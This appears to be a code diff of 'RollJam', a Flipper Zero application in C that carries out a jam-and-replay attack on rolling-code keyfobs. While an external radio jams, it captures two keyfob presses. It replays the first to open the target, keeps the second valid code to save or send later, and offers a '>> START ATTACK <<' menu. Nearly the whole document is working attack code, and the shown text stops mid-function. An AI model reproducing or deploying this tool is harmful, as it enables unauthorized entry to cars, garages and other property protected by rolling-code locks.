int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}

View File

@@ -0,0 +1,34 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -0,0 +1,21 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c

View File

@@ -0,0 +1,230 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}

View File

@@ -0,0 +1,152 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 B

View File

@@ -0,0 +1,9 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname

View File

@@ -0,0 +1,27 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;

View File

@@ -0,0 +1,102 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -0,0 +1,108 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -0,0 +1,70 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}

View File

@@ -0,0 +1,17 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/

View File

@@ -0,0 +1,111 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 3) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -0,0 +1,111 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
